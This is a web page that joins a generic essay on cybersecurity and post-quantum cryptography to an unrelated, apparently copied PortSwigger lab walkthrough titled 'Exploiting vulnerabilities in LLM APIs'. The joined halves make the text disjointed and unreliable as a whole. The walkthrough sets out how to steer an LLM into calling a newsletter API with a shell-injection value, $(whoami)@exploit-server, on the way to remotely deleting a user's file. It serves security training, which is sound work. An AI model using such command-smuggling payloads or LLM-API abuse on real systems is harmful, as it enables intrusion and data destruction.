CYBER SECURITY IN MODERN WORLD

Cybersecurity is the practice of protecting computers, networks, data, and digital systems from cyber threats such
hacking, malware, phishing, and data breaches.
In today's interconnected world, cybersecurity is essential for safeguarding personal information, business operations,
financial transactions, and critical infrastructure.
As technology advances, cyber attacks are becoming more sophisticated, making strong security measures increasingly
important.

Transition to Quantum Security

With the development of quantum computing, traditional encryption methods may become vulnerable because powerful
quantum computers could potentially break current cryptographic algorithms much faster than classical computers.
Quantum security, also known as post-quantum cryptography, focuses on developing new encryption techniques that can
resist attacks from both classical and quantum computers.
This emerging field aims to ensure long-term data protection and secure communication in the future quantum era.

Stay Secure

Insights and tips on protecting your digital life every day.

This lab contains an OS command injection vulnerability that can be exploited via its APIs. You can call these APIs via the LLM.

https://portswigger.net

Ask the LLM what APIs it has access to. The LLM responds that it can access APIs controlling the following functions:

Password Reset
Newsletter Subscription
Product Information

Consider the following points:

You will probably need remote code execution to delete Carlos’ morale.txt file. APIs that send emails sometimes use operating system commands that offer a pathway to RCE.
Since you don’t have an account, testing the password reset will be challenging. The Newsletter Subscription API is a better initial testing target.

Ask the LLM what arguments the Newsletter Subscription API takes.

Ask the LLM to call the Newsletter Subscription API with the argument attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net.
Click Email client and observe that a subscription confirmation has been sent to the email address as requested. This proves that you can use the LLM to interact with the Newsletter Subscription API directly.
Ask the LLM to call the Newsletter Subscription API with the argument $(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net.
Click Email client and observe that the resulting email was sent to carlos@YOUR-EXPLOIT-SERVER-ID.exploit-server.net

Lab: Exploiting vulnerabilities in LLM APIs